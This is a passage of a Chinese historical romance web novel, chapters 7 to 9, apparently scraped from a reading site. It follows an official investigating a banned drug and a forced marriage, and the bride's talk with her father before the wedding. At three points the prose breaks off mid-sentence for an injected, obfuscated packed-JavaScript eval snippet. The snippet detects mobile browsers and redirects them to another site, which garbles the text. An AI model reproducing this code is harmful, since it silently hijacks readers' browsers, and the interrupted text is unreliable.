只听女子断断续续的哭声，听声音似不完全是委屈，倒像是真的受了苦。 叫沁娘的是访仙阙新晋的头牌，热情奔放，长得又水灵，不少客人趋之若鹜，来访仙阙便点了名叫她。今天老板娘专门让她来陪天字号的贵客，一进门只见几个男宾都已是左拥右抱，只有一个独自坐着喝酒，虽冷着脸，却实在生得一副好样貌，心中激荡，便勇敢凑了上去。 谁知刚挨上了身，便被房遂宁捏住手臂，反折向身后，登时痛得钻心，还以为骨头都断了。 见房遂宁不说话，蔡溪换了副语气，冲着那哭泣不止的女人道，“你也是，胆子忒大了些，不能见着个好看的爷们便往上凑啊，还当咱们房大人和你寻常的那些恩客似的呢，你可知人家什么外号！” 裕王看不下去，道：“你何苦吓她——你，快收了泪儿，下去擦擦吧！” 沁娘见上首客人发话，不敢再待，纵然手臂依旧疼得厉害，还是委委屈屈地应了声是，起身退出去。临走前哀怨地看了房遂宁一眼，想不明白有那么副样貌的人，怎么说发难就发难。 等到人出去了，蔡溪便道：“哎，说句实话，这沁娘的模样不比那个夜来差，荪桡，难道你还非她不可么？” 房遂宁捏着杯子，眉宇间似有化不开的寒冰。方才那大胆的妓子，竟将手直接伸到了他的外袍里，隔着一层中衣，细长手指一下下搔弄他的后腰，正碰到一处伤口——是画麟阁那夜，那个神秘的女人在他身上留下的。 蔡溪见他不说话，面色阴晴不定，暗自后悔玩笑开得大了些。 “没错，就是非她不可。”房遂宁似笑非笑的语气。 宁安公主听不下去，鼻子出气哼了一声：“混账东西。” 郑薜萝匆匆起身：“这里头太闷，公主容我出去透口气。” 她将幂篱戴上，出了包厢，便脚步匆匆往楼梯口走，没留神迎面过来个小厮，一头撞上。 “哎呀！长没长——” 那小厮正要发作，看清了郑薜萝后，舌头在嘴里囫囵打了个转，“——对不住啊姑娘，没事吧？” 郑薜萝摇了摇头，沿着走廊继续向前，身后的移门忽然“哗啦”一声拉开。象牙白长袍如月影轻移，有人从门里迈了出来。 她脚步一顿，不算宽敞的走廊一时有些拥挤，男人身上的脂粉味若有似无地朝鼻子里钻。 “客官！您要点什么？”小厮隔着郑薜萝，招呼她身后的人。 “我找个姑娘。” 没了方才那道板壁的阻隔，房遂宁的声音成倍的清晰。 小厮陪着笑道：“爷您喜欢什么样的，小的去给您——” 房遂宁似是冷笑了一下，语气懒散：“不用，不是你们这儿的姑娘。” 郑薜萝举起手中团扇，快步离开。 碧色倩影消失在楼梯口，走廊上残留着一股淡淡香气，房遂宁的视线定在某处，眉心微皱。 凭借常年断案的敏锐，他知道方才所在的包厢实则隔墙有耳。 今夜佳节，能在访仙阙天字号包房喝酒的非富即贵，加之又在酒楼下看到乔装打扮的公主府家丁，隔壁是谁便心中有数。 只是从隔壁房出来的那姑娘并非宁安公主，也不像是丫鬟，应当是哪家的贵女。 “主子——” 泊舟从角落钻了出来。房遂宁驱走脑中思绪：“出去再说。” 主仆二人穿过熙熙攘攘的人流，走到玉带河边一处小码头。 刑部提举司副提举熊坤一身黑袍，码头上悬着一盏灯笼照亮他眼底两道乌青，看来已是数日不曾睡饱，熊坤看见上司的一瞬间强打精神，迎上前来。 “大人，那歌伎夜来果然有问题。” “说。” “——根据司药监的查验结果，那‘灵肌丸’里面，并非相思子、驴驹媚这类常见的春.药方材，而是有一味传自西域，叫做‘鹊脑’的灵药，因为药性猛烈，于人体有损伤，早些年已经被朝廷明令禁止。” 泊舟闻言，忍不住道：“夜来一个教坊司出身的官妓，如何能得到这样的禁药，此人的确大有可疑！” “禁药……”房遂宁沉吟。 熊坤点点头：“若非大人您提醒，叫他们检验时带好护具遮掩口鼻，连司药监的药师都险些中招，幸好旁边的人及时用冷水激面……” 泊舟听到一半，突然看向房遂宁：“主子你……没事吧？” 熊坤不知所谓：“大人怎么了？” “我记得主子将那药丸交给我时，外面原本的蜡封就是破的，重新包过。” 熊坤一愣：“大人，您直接接触过那灵肌丸？” “……我没事，已经用过解药。” 司药监的人交代时语焉不详，只说接触鹊脑中毒者，并无行之有效的解药，便只能放出毒血，但放血之量甚大，可能危及生命，也因此遭到官府的禁绝。还有一种可能的解毒之法，能泄去体内经络淤积的毒气，所谓堵不如疏…… 熊坤尚在疑惑，听房遂宁冷声道：“给我找到这禁药贩卖的源头。” “是。” “这药罕见，除了药肆医馆，西市货行，还有寺庙道观——所有制作和流通药草的场所都需留意。”房遂宁命令。 熊坤面露迟疑，前两项都还好说，这最后一项却有些为难。京畿的寺庙道观大多来头不小，背后不是皇亲也有贵戚。如此兴师动众，况且查的还是春.药，难免要惹出麻烦。 不过他这位上司，是从来不怕事。 房遂宁看了他一眼：“有问题么？” “……没有。属下领命。” “那就好。派人盯住那个夜来。” “大人，不先将人拿下么？她定有问题。” “还不到时候，你——” 房遂宁话说了一半，眉头深深拧了起来。 泊舟顺着房遂宁的目光，只见不远处岸堤上一队人马装束整齐，正朝他们所在的码头而来。 领头的是房府管家房衡，他独自走上前，到房遂宁面前站定了，恭声道：“郎君，老奴来请您回府。” “谁告诉你们我在这儿的？” 房衡不答，目光下意识飘了一下。 房遂宁冷冷转眸，熊坤被他眼神扫到，登时头皮发麻：“老、老大……我也没办法，是尚书大人他问——” 他点点头，伸手按在熊坤肩头：“好样的，提举大人。” 熊坤苦着脸，转头看向泊舟试图寻求支撑，后者移开视线，以免主子的怒火伤及无辜。 房衡身后跟着的几个家丁不着痕迹地散开来，俨然一副要捉人的架势。 “我还有事，结束了便回。” 房遂宁说完便要绕开，却被房衡伸出手臂拦住了。 “老爷在家里找人，见您数日不回，大发雷霆，让我们必得把您带回去！——泊舟，你一直跟着少郎君，他大婚在即，怎么不劝劝？？” 泊舟如同聋了一般没有反应。房衡只能使了个眼神，几个家丁包抄上来，将房遂宁围在垓心。 房遂宁冰冷的视线自上而下缓缓垂落——方才围上来的一名家丁急切了些，竟伸手扒住了他的袖管。 “你们要做什么？押我回去么？” 他语速极缓，眸中冷光却似一把快刀。 少郎君从来不让人近身，何况如此冒犯？那家丁是房衡远方外甥，眼看难逃一劫，房衡咬咬牙，一巴掌甩在外甥脸上，啐道：“作死的杀才！滚远些！！” 这一巴掌动静不小，那家丁半边脸登时红了，捂着脸退开老远。 “管家虚张声势的本事果然高超。”房遂宁冷笑。 房衡头皮发麻，他知道少郎君眼神毒辣，不是好糊弄的——那一巴掌虽然看上去厉害，实则用了不到三成的力道。 他哀求道：“郎君息怒！实在是没办法了，您今晚若是不跟我们回去，我们也回不去的……求郎君别为难老奴啊！” 房遂宁下颌绷得愈紧，眉宇间蓄着怒火，冠玉一般的面孔犹如冰霜笼罩。 “滚。” 房衡忙将手一挥，家丁们走到码头边沿，分开两列，给房遂宁让了一条道出来。 房遂宁微微侧头，看向熊坤方向。后者方才吃了瓜落，心里正忐忑，见状急忙上前。 “蹲守象犀街，有任何异动，都来报我。” 熊坤心神一凛：“是。” 码头悬着的灯笼被风吹动，一簇火光在房遂宁深色的眸子里晃动，他冷冷睨着熊坤：“若这点事还办不好，你也不用再来刑部报道了。” “属下明白。”熊坤低声应道。 泊舟落在最后一个，走下码头台阶时被熊坤扯住衣袖：“大人他怎么不罚我……不会生我的气吧？” “熊提举厉害啊……”泊舟只撇了撇嘴。 熊坤看一眼房遂宁远去的身影，苦着脸道：“兄弟，我也是没办法啊！尚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024506|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 书大人亲自询问，我怎敢不说？你、你帮我在大人面前解释解释……” 泊舟不为所动：“主子的脾气你不知道么？他最恨自己人出卖，你这不是自触杖藜么！” “出卖？我没有啊！我怎么会出卖大人呢？！尚书大人他也是受左相所托，大人的长辈，又是咱们顶头上司，我怎么敢违逆啊……”熊坤急得几乎口吐白沫，“再说了，大人大婚在即，家里这不也是担心嘛……” “哎呀好了熊提举！别在这磨叽了，大人的婚事是你操心的么？？” 眼看主子在前面越走越远，泊舟被他揪着没办法，一甩袖子，“主子还肯交事情给你办，就不算对你定谳了。只要把他交代的事办漂亮了，否则你说再多也没用！” 熊坤被他点通这一层，立时如释重负：“是、是……兄弟你说得对！让大人放心，熊坤定不辱使命！！” 房府为接郎君回家，甚至专门驾了马车来，四辆高头大马拉着丞相府锦缎宝顶的马车停在访仙阙门前，十分惹眼。 房遂宁见这架势，哼笑一声，越过马车径直上了自己的马。房衡无奈，只能带着人一路小跑跟在后面。 好在郎君但是没再使性子，穿过万祀大街，便打马进了隆兴坊。 泊舟见后面人跟得不紧，上前一步道：“主子，您为何这么盯着那卢祭酒不放？” 象犀街是卢序槐的别院所在，方才房遂宁的命令，便是要重点关注卢。 房遂宁目视前方，压低声音：“你可记得，一个月前查办‘恶钱’案之时，户部账目中那笔去向可疑的银钱？” “记得……所以，那银钱源头在卢祭酒的头上？”泊舟后知后觉，“——对啊，卢序槐频频流连欢场，颇为青睐的便是歌伎夜来，流水价的银钱都花在了她身上。国子监祭酒一年的俸禄不过禄米四百石，哪来的本事为鸣珂曲的花魁一掷千金的……” 房遂宁沉眉不语。 泊舟打量他神色，知道主子这阵子心中一直憋着股气。 案件正查到关键处被圣上叫停，但房遂宁并没有放弃，为免打草惊蛇，他没有直接去查那卢序槐，而是暗中盯着那叫夜来的歌伎。他们带着人在夜来的别院附近蹲守数日，趁她某日出行，潜了进去。 正一无所获时，房遂宁发现了佛龛上供着的一尊造型别致的菩萨像。他听出菩萨腹内中空，隐隐有异响。于是从那菩萨腹中，取出了一只巴掌大的木盒。 那木盒处处透着古怪，还有股幽幽的奇香，房遂宁心知有异，并未当场打开。 “主子，那盒子里装的便是灵肌丸？您将灵肌丸带去了别院？” 房遂宁蹙眉。 那夜房遂宁在画麟阁中研究那木盒，他知道那盒子有异，动作原本十分小心，正对着烛火细细端详，忽听得有女人出声，一分心，不慎按动了那盒子上的开关。虎口微痛，才察觉一根竹刺扎进手里。 后面的记忆，便十分模糊了…… “——那‘灵肌丸’的解药，您到底从哪里得来的？” “没有什么解药。” “那您怎会……？”泊舟疑惑着回忆，“那夜，属下在麟趾山脚的馆驿等着主子一道回城，天尚未亮，您便下了山……” 他记得，房遂宁让他迅速召集人马，回程沿途搜查有无可疑人物。那时他还微觉奇怪，那个时辰皇城已经宵禁，无通行禁令者难以擅自行动，哪里来的可疑人物。 那一整日，房遂宁的状态都有些奇怪。现在想来，或许便是因为中过毒的缘故。 泊舟感叹：“多亏是主子从小修道，定力不一般！那么厉害的药物，若是寻常人，怎能抵受得住？” 房遂宁眸光微动，半晌道：“最近别院附近，有无见过生人？” “别院地处偏僻，甚少有人会往那方向去，就连府里人都不知具体位置——主子为何这么问？” “……没什么。” 回想那夜画麟阁的境遇，他总以为是梦，梦里人的面孔模糊，怀中的触感却十分清晰。醒来后眼前残余一片凌乱，揉皱的道袍和四下旖旎的痕迹，都清楚地昭告：那不是梦，他在欲.火烧身之时，和一个神秘女郎共赴了巫山。 若不是因为这灵肌丸，他怎会失控至此？自六岁入道，十五年清静自守，一朝破功，竟然是这样的体验…… 房遂宁攥着缰绳的手不自禁握紧。 就在圣人指婚的那一夜，竟然遇到这样的事情，他不能容忍这样的意外。查恶钱案这么久，忽然有种黄雀在后之感。 是有人针对他下的套？竟然能不知不觉潜入他的禁地，他率人在宵禁后的玉京城搜索可疑的踪迹，除了半路上遇到回府途中的郑远持，并无特别所获。 他不信那神秘女子真会是什么山中精怪，想必和郑家逃不了干系。 “终于回家啦。”泊舟望着前方隆兴坊的门楼，感叹了一句。 “郎君回来了——！” 厚重朱门缓缓开启，“辅翼国政”四个金光闪闪的大字牌匾下，房家少郎君被一行人簇拥着回到了家。 8. 第 8 章 岁安堂内，裴夫人捻着串佛珠，在香烟缭绕中半阖着眼。 “……夫人有机会，还是好好宽慰一二，莫让表小姐再做出什么不合适的举动，上次遣人去郑府，这也实在有些过了，好在人家没说什么。” 裴夫人叹了口气，正要说什么，听见外面动静。二人一起抬头。 “桡哥儿回来了！” 秦嬷嬷快步迎上前，便闻到房遂宁身上浓重的脂粉气，忙吩咐婢女：“给郎君端碗热汤来，去去酒气。” “多谢嬷嬷，我没饮酒。” 房遂宁稳步走到裴敏面前，端正行礼：“母亲，我回来了。” “坐吧。” 房遂宁一撩袍，在裴夫人下首落坐。 “知道你公务繁忙，但圣上赐婚，连你父亲都不得不慎重。提亲的时候没有登门，已经让人拿了话头，如今婚期已定，就在下月初六，要尽快着手预备，这才让人去请你。” 裴夫人这话说的尚给儿子留了些面子，实则房速崇的原话是：把这小子给我捉回来，别在成亲之前再折腾出什么人命，太不吉利！ 三月初六，只剩二十余天筹备了。这是不顾一切，要让两家尽快完婚的节奏。 “儿知道了。” “循园已经让人在收拾，去看看还有什么缺的漏的，告诉秦嬷嬷，她着人去办。” 房遂宁自从十四岁结束修行回到家中，便入住了与房府毗邻的循园。他自幼漂泊在外，本就不喜欢左辅右弼的排场，自从进了六部，朝廷为刑部职官的居所增加守卫，循园便借此和房府彻底分隔开来，虽然是一家，但两个院子日常并不互通，就连房速崇夫妇要去循园，也需绕一大圈从正门入。 不过这些年除了节庆和一些特殊的日子，房遂宁大半时间都宿在刑部衙署，与家人之间的互动也极为稀少，循园里自然也是常年没什么人气。 如今房遂宁成婚，也总算能名正言顺地以准备婚仪的名义将循园装点一番。 房遂宁语气依旧平平：“母亲看着办，怎么都好。” 裴夫人凤眸微凛，细细打量着他，试图在儿子脸上寻找一些真实流露的情绪。房遂宁若有所察，抬头和母亲对视，平直的唇角略带敷衍地勾了勾：“您还有何吩咐？” “贵妃娘娘请了裁衣局的宫人，明日一早来替你量体做婚服。改日进宫时，记得顺道去凤藻宫谢个恩，你姨母一向待你如亲生，你的婚事她颇为上心，切莫忘了。” “儿记得了。” “你父亲正在书房里陪客，他有话要同你讲。要么，你就在这里等他一会。” “是。”房遂宁颔首，捏起手边的茶杯抿了一口。 裴夫人见儿子没什么要说的，收回视线，看向秦嬷嬷：“你继续吧。” 秦嬷嬷便道：“郑家那边，一应的礼仪规矩都已教完。回来时，李夫人让把他们筹备的嫁妆单子带过来，请夫人过目。” 她从袖中取出一只红封，呈递过去。 裴夫人接过，只觉沉甸甸地压手，将册子展开，只听“哗啦”一声，层层叠叠的红纸便如同巨幅的扇面一般，一路坠到了地上。 ……这么多！ 秦嬷嬷愣了愣，连忙上前，帮着将那份长得离谱的单子收拢回夫人手里。 裴夫人垂眸看了两页：黄花梨攒海棠花围拔步床一架，红酸枝木罗汉床一张，紫檀木透雕贵妃榻一张，金银灯树各一盏，玉如意十柄，香檀合页屏风两扇，南海大珠百斛…… 除了首饰珍宝，锦缎丝帛，古玩乐器，生活器具等等，更有散布于京畿、江南各地的房产、铺子、田庄，价值万金不止。 她不再细看，缓缓将册子合拢。 “如此丰厚的嫁妆，怕是房府和循园加起来都塞不下，郑家女儿果然金贵。” 房遂宁看向裴夫人手里捏着的册子，唇角勾出讽刺笑意。 大祈虽有律法严明规定，婚礼不得奢靡，更是禁止以婚姻论财，但嫁妆属于妻子个人的赀玩，也是女儿离开母族的最后体己，于情于理始终未能禁绝。渐渐地，嫁妆是否丰厚，代表着女儿在家里是否受到珍视，更影响到出嫁后夫家如何对待。 民间甚至有过因家里贫穷，凑不齐一份体面的嫁妆，成亲之日姑娘在房中嚎啕大哭，不肯上花轿的情形。 郑氏这张丰厚的嫁妆礼单，与房家送去郑家的彩礼相比，简直是霄壤之别。更是一反郑远持这些年来低调行事的风格。似在态度鲜明地告诉房家：能娶走我的女儿，是你们的福气。 更或者，无人能配得上我的女儿。 房遂宁收敛笑意，站起身来：“儿不打扰母亲，去父亲院子里等。” 裴敏颔首，目送着儿子的背影迈步出门，看向秦嬷嬷。 “那丫头怎么样？”这是在问郑薜萝了。 “温柔知礼，虽然养得金尊玉贵，倒看不出什么太过骄矜的毛病……” 秦嬷嬷沉吟着，想想还是没将传授《素女经》时的插曲讲给夫人，又道，“她和宁安公主似是关系不错，我从郑府出来时，正遇上公主来找郑家姑娘。” “宁安公主……”裴夫人若有所思。 - 房遂宁沿着抄手游廊一路进了东院。书房的门紧闭，一个红衣宦者正侯在廊下，听见脚步声，转头看了过来。是东宫身边的近侍高公公。 高公公面上带笑，快步走下台阶，朝房遂宁叉了叉手：“还未恭喜郎君。” “公公客气。” “婚期已定，郎君定然有得要忙了！” 房遂宁淡淡道：“我倒是还好，只是恐怕劳动一大帮人跟着操劳。” “嗳，郎君说得哪里话，这是圣人赐婚，宫里府里都当做是最大的喜事来办，好久没这么热闹过了呢！” 高公公近距离打量着房家郎君，内心只纳闷，这样一副日角珠庭的骨相，怎会背地里被人唤作“阎王”？ 心中想着，口中只叹，“这样天造地设的因缘，叫咱家也羡煞！” 房遂宁轻轻一笑，并不言语。 高公公见四下无人，压低声音道：“郎君恐怕还不知，郑侍郎已经正式迁任枢密使了。” 枢密使一职，一般只是用于过渡，郑远持现任户部侍郎，户部尚书之位空悬已久，这一天迟早要来。 房遂宁扬眉：“哦？那更应该恭喜我这位准岳丈，熬了这么些年，终于荣升户部首官。” “不是户部。” 高公公摇头，献宝一样更凑近了些，“圣人亲拟的旨意，有意封郑大人为尚书右丞，圣旨已经到了郭尚书手里——如此，你们房郑两家，可不就是真真正正的门当户对！” 吏部尚书郭选乃是皇后的亲兄弟，官员擢选这样的消息，东宫自然是第一时间得知。 正说着，书房门忽然推开了，一身常服的太子李邺迈出门来。 房速崇跟在后面出门，面色并不十分好，看见房遂宁，更添了几分压不住的愠气。 “荪桡！有阵子不见！” 太子走过来，亲和地拍了拍房遂宁的肩膀，后者敛眉退后半步，向储君行稽首礼。 “房遂宁参见殿下。” 房速崇准备亲自送太子出院，却被太子拦住了：“房相留步，孤许久不见荪桡，和他叙叙话。” “也好，”房速崇看了儿子一眼，沉声，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024507|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那你便好生送送殿下。” “是。” 两个宫人提着灯笼在前引路，穿过花园假山、水榭游廊，房遂宁始终稳稳落后太子半步，跟在太子身后，一路保持沉默。 太子见他不说话，特意放慢脚步：“大喜临头，你这准新郎官当下感受如何？” “殿下要听实话？” 太子知道房遂宁一向是这样性子，只觉得有趣，笑着道：“那是自然。” “并无特别喜悦。” 太子点点头，颇为理解的语气：“也是，你和那郑氏女素昧平生，恐怕面都没见过，自然也不会有什么特别的感情。” 他轻摇着手中一柄折扇，又道，“不过，当初母后为东宫擢选太子妃，孤也是和你一样，没什么想法。那时孤比你现在小得多，才刚十六岁，对男女之事懵懂得很，竟然就要娶妻，那时候只觉得和过家家一般……如今和太子妃不也相敬如宾，感情甚笃？” 太子妃郭窈来自皇后的母族太原郭氏，是太子的远方表妹。实则亲近些的人都知道，太子的宠姬另有别人，但在外人面前，一向与太子妃出双入对，扮演鸳俦凤侣。 房遂宁并未揭穿，只是淡淡敛眸：“殿下说得是。” 太子突然停了脚步，在九曲桥上站定了，转过身来。 “荪桡，你出身房氏，便该知道，这桩婚事，并不仅仅是两个人的事而已。” “……臣明白。” “你不明白。” 太子的语气变得严肃起来，“如今郑远持连升两级，即将擢升尚书右丞，将来便是和你父亲比肩，六部各领其三——让一个商户出身坐到如此高位，这是父皇权衡朝局，在有意抑制世家大族，所以房郑两家联姻，是世族不得不做出的姿态！” 他将手中折扇一合，扇骨在房遂宁的肩头点了点。 “该做的表面功夫还是得做，不要抓着郑远持不放。往后兵、刑、工三部，皆由他来署理，他除了是你的岳丈，也是你的顶头上司，若再闹到父皇面前撕得难看，于你、于房家，能有什么好处？” 房遂宁垂眼，盯着太子折扇扇褶上的青翠竹叶，平声道：“微臣掌管刑名，只看事实真相，并没有揪着谁不放。” “孤知道你在查卢序槐，郑远持在国子监时与他同期为官，二人之间有无利益勾结，的确难讲……孤听说，郑远持这回给女儿预备的嫁妆耗资甚巨，疑犯他在京十数年为官的低调勤俭。他这么做是什么意思，你可明白？” 房遂宁撩起眼皮。他自然明白，这一笔“巨额”嫁妆，除了在向房氏示威，也是昭告朝野，郑氏乃江南第一富商，身有万贯家产，乃世代经营所得。他郑远持没有必要去贪，更不怕任何人来查。 他冷笑，锋利的薄唇轻吐：“没有禁不住查的人。” “你看看，还说没有揪着人不放！孤真是不懂，郑远持究竟哪里得罪了你，倒比你父亲还要执着……” 太子苦笑着揉了揉眉心，“不要太拼命了，案子是查不完的！趁着成婚，好好休个假，放松放松，清河房氏一族，将来唯有靠你啊！” 类似的话，自幼不更事时长辈们便不停地灌输给房遂宁，从孩提懵懂，到少年沉郁，如今听到一双眼里只剩淡漠。 “你既娶了郑氏女，你为夫，便是纲，她需得从你。若真无什么感情，来日再娶可心的回来作媵妾，她又有何话可说？” 太子换了副语气，低声：“实在不行，委屈一阵，待风头过去，寻个错处将郑氏休了，再将你那裴家表妹娶进门，也是一样的……” 房遂宁抬眼与太子对视，终是笑了笑。 “微臣，多谢殿下指点。” 9. 第 9 章 连太子都出面劝诫，房家的拼命三郎终于不再执拗，踏实在循园住下，接连数日未曾迈出府门一步。 进了三月，婚仪的筹备到了收尾阶段，房郑两家的紧张气氛益发浓厚，人人忙得脚打后脑勺。各自按照礼部的规制，一遍遍核查议事所需的一应器具、迎亲障车、婚房的布置…… 房遂宁作为婚仪的主角，却无人敢再去多要求他些什么，只要新郎官能在指定的日子出席便好。 婚礼前三日，宫中传出消息，将有皇子代表皇室出席婚仪，更让两家紧张了不少。礼部司仪官更是特地登门，来向房遂宁最后传达一遍婚仪的流程。 “……初六那日，郎君须得于辰时二刻，准时到达郑府亲迎新妇，接引出门。您需要亲手将妻子扶上婚车，接回府中。” 司仪官见房遂宁神色散漫，不得不在“亲手”二字上着重强调。 “知道了。还有什么?” 房遂宁姿态倒是端正，面上的不耐却已经颇为明显。礼仪官觑着他神情，欲言又止：“旁的……倒也没什么了……” 按照民间习俗，婚仪还会有“弄女婿、戏新妇”的环节，不过这些本是为了热闹烘托喜庆气氛的环节，这房郑两家结亲，只须把流程太平走完，面子上过得去也就是了。 所有事项交代完毕，司仪官适时告辞出了门。正好泊舟从外面回来，脚步匆匆进屋，将门从里面阖上。 “主子，夜来失踪了。” “什么时候的事？”房遂宁眼皮一掀。 “熊提举带着人在鸣珂曲和象犀街两头蹲守，一连数日都没有动静，今早接到教坊司报案，说歌伎夜来失踪。” “卢序槐呢？” “卢祭酒告病七日不曾上朝，今早天不亮便坐了顶小轿，去了罗甸街。” 房遂宁眸中凛起寒意。 “好啊，又是郑家。” - 毗邻户部衙门的罗甸街，自从上旬起就车马不断，上门道贺的人如流水一般。 郑氏嫡长女即将嫁入房氏，又传郑远持将于不久擢升，成为大祈建朝以来最年轻的尚书右丞——算得上是双喜临门。 三月三开始，郑府正门紧闭，谢绝一切来访。接连数日应付以道贺为由，前来汇报公务、打探口风的人，郑远持终于觅得一刻清净。 他从书房出来，信步至中庭，脚步一顿。 郑薜萝正抱着膝，望着灯火通明的庭院发呆。 礼记有云：嫁女之家，三夜不息烛火，思相离也。从暮色降临时，四处便点起庭燎，照亮了府院的每个角落。 一连数月阖府上下的忙碌，似乎在一瞬间放慢了。 郑远持默默站在廊柱一侧。有个梳着双髻的丫鬟经过，看见独自坐着的郑薜萝，便特地绕过去，轻唤一声“姑娘”。 郑薜萝抬起头：“掬霜？是母亲有什么吩咐么？” 掬霜摇摇头，将手里的一只纸袋捧上前：“吴妈妈见街边卖糯米糕的铺子还开着，特意买了些回来，说姑娘爱吃。” 郑薜萝一怔，将纸袋接过。掬霜欲言又止，略一屈膝，最后还是走开了。 “怎么不尝尝？晚饭看你也没用多少。” 郑薜萝转头，眸光微亮：“父亲。” 郑远持按住女儿将欲起身的肩膀，在她旁边坐下：“你母亲听吴妈妈说的，你爱吃这个，才叫人买回来的。” 郑薜萝看着手中的纸袋出神。 最初来到玉京时，她对这里的一切都极不适应。母亲对她颇为严厉：除了琴棋书画，一应生活习惯都被严格规训，要养出淑女洁白整齐的一口贝齿，需戒掉她自小就喜爱的甜食；乡音被刻意纠正，和人交谈时要说流利的官话…… 看着一连数日饼、面为主食的餐桌，幼年的郑薜萝实在不能习惯，接连几顿饭不曾动筷。对此李砚卿也只是淡淡道：不吃就饿着。 糯米糕的执念，是郑薜萝和吴妈妈之间的秘密。最初发现那家来自宣郡的老板开的铺子时，她兴奋地指给吴妈妈看。 这是她与吴妈妈之间的秘密，那日偷跑出门，她才会以糯米糕为借口，瞒过吴妈妈，也瞒过家里的所有人。 “你是她的女儿，你喜欢什么，你母亲如何会不留心？”郑远持叹了一口气。 郑薜萝沉默半晌。 “其实，女儿不想嫁给房遂宁。” 郑远持一怔。他似乎从未在女儿口中听到如此明确的“不愿”。 尽管所有人心中清楚，这桩婚事对郑家而言，是身为人臣顾全大局的“承恩”，而对郑薜萝而言，却是一块从天而降的巨石，将她牢牢圈禁。 “为父知道。” 庭燎之下，温黄的暖光照亮府院，与父亲并肩而坐的姿势，让郑薜萝回想起幼时鲜少的父女时刻。 她侧过脸，郑远持眼角细密的纹路近在咫尺，心中一时有种一吐为快的冲动。 “其实，我想过一走了之。得知婚讯的那一天，女儿等到很晚您都没有回来，于是我——” “是为父对不起你。”郑远持不忍再听。 郑薜萝不曾见过父亲如此颓唐的样子，好不容易攒起的勇气被冲溃，她闭了闭眼，缓缓摇头。 “我知道父亲也不想女儿嫁，也曾经想要找外祖想办法。” “你母亲她——”郑远持正想开口，郑薜萝却抢先道：“我不怪她，女儿知道，母亲是对的。” 郑远持微愣，这句话原本他常对女儿讲，他点了点头，又叹一口气。 “若不是那一年你在你祖父家落水，大病一场，我们看到你那时的状况，才决定将你带回身边。” 蓁州祖宅虽大，产业众多，家中熙熙攘攘，皆为利来，无人顾得上年幼的郑薜萝。李砚卿更是担忧，在这样的环境下，女儿的教养恐怕就此废弛。虽然二人也曾动过念，要将郑薜萝送回宣州外祖那里，可终究不是长久之计——薜萝的舅舅在宣州照顾年事已高的父母，再替他们看护女儿也难免周全，恐怕日后更引龃龉，便作罢。 “女儿明白您和母亲的苦心。我初来玉京时，您刚进户部，每日忙得不可开交。母亲要陪着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17024508|194326||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 您，又要应付外面的人情往来，常常回得很晚……在我们面前，有时连说话的力气都没有。” 郑远持忆起当年辛苦，一时动容。 郑薜萝莞尔一笑。 “倘若当初让我一直留在江南，也不会有这么多烦恼了。是不是，父亲？” 郑远持哑然。因为圣人指婚，他心中曾经有过同样的后悔。但面对女儿，如何能坦率的承认？ 郑薜萝抬头，平静道：“父亲，女儿想通了，如果婚姻是必须承担的使命，至少让女儿为您分些忧。” “为父有什么忧，需要你来分？”郑远持皱眉。 “房遂宁，他是不是一直在揪着您不放？” “……这不是你操心的事。” “我若嫁他，以后和您有关的事，他都需回避，对不对？” 郑远持的眉头紧紧拧了起来。 虽然他鲜少将公事带回家，但这一阵子房遂宁调查户部的事，在朝野传得沸沸扬扬，她又怎可能一无所知。 郑薜萝仰头看天，一轮新月细如眉，一半隐在云后。 半晌，她转过脸来，看向父亲：“女儿出嫁，既能全了郑氏的忠，也能为父亲解围，怎么不算两全？” 郑远持哽住。 这话如同一块巨石堵在他胸口。这些年朝野纵横，勾心斗角，谁人可称“良善”？阿萝却如此无条件地信任着自己，甚至要牺牲终身的幸福。 “已经任性过了，不能再放肆了……”郑薜萝低声喃喃着。 郑远持将女儿的柔荑握在掌心，缓声道：“傻丫头，我们对你，终究是亏欠更多些。” 郑薜萝摇了摇头，捻着裙腰上的流苏珠串：“女儿出嫁那天，祖母能来么？” 看着女儿亮晶晶的眸子，郑远持不忍道：“你祖母年事已高，去年秋天刚病了一场，这么远的路程，舟车劳顿太耗精力……” “是了。女儿明白的，只是随口一问。” 郑薜萝眸子里的星点光亮黯了黯，又恢复了淡然。 在玉京这些年，她最思念的人便是祖母，起初每晚入睡时，想家的情绪偶尔会让她沾湿了枕巾。 “为父已经修了封家书回去，将你的婚事告知了祖母，你是她最心爱的孙女，她会高兴的。” 郑薜萝点头：“嫁入清河房氏，又是圣人指婚，女儿这桩婚事如此体面，祖母她老人家自然会为阿萝开心！” 